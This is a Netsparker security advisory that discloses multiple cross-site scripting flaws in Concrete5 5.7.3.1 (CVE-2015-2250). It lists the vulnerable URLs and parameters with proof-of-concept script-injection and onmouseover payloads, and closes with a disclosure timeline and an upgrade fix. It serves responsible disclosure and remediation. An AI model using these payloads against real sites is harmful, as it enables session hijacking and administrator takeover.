Information -------------------- Advisory by Netsparker. Name: Multiple XSS Vulnerabilities in Concrete5 Affected Software : Concrete5 Affected Versions: 5.7.3.1 and possibly below Vendor Homepage : https://www.concrete5.org Vulnerability Type : Cross-site Scripting Severity : Important CVE-ID: CVE-2015-2250 Netsparker Advisory Reference : NS-15-008 Description -------------------- By exploiting a Cross-site scripting vulnerability the attacker can hijack a logged in user?s session. This means that the malicious hacker can change the logged in user?s password and invalidate the session of the victim while the hacker maintains access. As seen from the XSS example in this article, if a web application is vulnerable to cross-site scripting and the administrator?s session is hijacked, the malicious hacker exploiting the vulnerability will have full admin privileges on that web application. Technical Details -------------------- Proof of Concept URLs for cross-site scripting vulnerabilities in Concrete5: URL: /concrete5.7.3.1/index.php/dashboard/system/conversations/bannedwords/success Parameter Name: banned_word%5b%5d Parameter Type: POST Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000936)</scRipt> URL: /concrete5.7.3.1/index.php/dashboard/reports/logs/view?keywords=&level=&channel='"--></style></scRipt><scRipt>alert(0x0044C4)</scRipt>&level[]=600 Parameter Name: channel Parameter Type: GET Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0044C4)</scRipt> URL: /concrete5.7.3.1/index.php/tools/required/permissions/access_entity?peID=1&pdID=3&accessType='"--></style></scRipt><scRipt>alert(0x00690C)</scRipt> Parameter Name: accessType Parameter Type: GET Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00690C)</scRipt> URL: /concrete5.7.3.1/index.php/dashboard/system/multilingual/setup/load_icon Parameter Name: msCountry Parameter Type: POST Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00D064)</scRipt> URL: /concrete5.7.3.1/index.php/tools/required/permissions/access_entity?accessType='"--></style></scRipt><scRipt>alert(0x00687C)</scRipt>&pkCategoryHandle=block_type Parameter Name: accessType Parameter Type: GET Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00687C)</scRipt> URL: /concrete5.7.3.1/index.php/ccm/system/dialogs/area/design/submit?ccm_token=1423928022:7f9b7c3cb0f6721bab4a0dec86cefaa3&cID=1&arHandle='"--></style></scRipt><scRipt>alert(0x00D33A)</scRipt> Parameter Name: arHandle Parameter Type: GET Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00D33A)</scRipt> URL: /concrete5.7.3.1/index.php/dashboard/pages/single Parameter Name: pageURL: Parameter Type: POST Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00627A)</scRipt> URL: /concrete5.7.3.1/index.php/ccm/system/dialogs/area/design?arHandle='"--></style></scRipt><scRipt>alert(0x001D34)</scRipt>&cID=1 Parameter Name: arHandle Parameter Type: GET Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001D34)</scRipt> URL: /concrete5.7.3.1/index.php/dashboard/system/seo/searchindex/updated Parameter Name: SEARCH_INDEX_AREA_METHOD Parameter Type: POST Attack Pattern: '" onmouseover= alert(0x00047E) URL: /concrete5.7.3.1/index.php/dashboard/system/optimization/jobs/job_scheduled Parameter Name: unit Parameter Type: POST Attack Pattern: '" onmouseover= alert(0x000C5A) URL: /concrete5.7.3.1/index.php/dashboard/system/registration/open/1 Parameter Name: register_notification_email Parameter Type: POST Attack Pattern: '" onmouseover= alert(0x0000DE) URL: /concrete5.7.3.1/index.php/dashboard/extend/connect/"onmouseover="alert(0x00170E) Parameter Name: URI-BASED Parameter Type: Full URL: Attack Pattern: /"onmouseover="alert(0x00170E) For more information on cross-site scripting vulnerabilities read the following article: https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-checks-index/crosssite-scripting-xss/ Advisory Timeline -------------------- 05/03/2015 - First Contact 06/05/2015 - Vulnerability fixed 11/05/2015 - Advisory released Solution -------------------- Download Concrete5 version 5.7.4 which includes fix for this vulnerability. Credits & Authors -------------------- These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner - https://www.netsparker.com/web-vulnerability-scanner/ About Netsparker -------------------- Netsparker finds and reports security issues and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner. For more information visit our website on https://www.netsparker.com -- Onur Y?lmaz - Turkey Manager Netsparker Web Application Security Scanner T: +90 (0)554 873 0482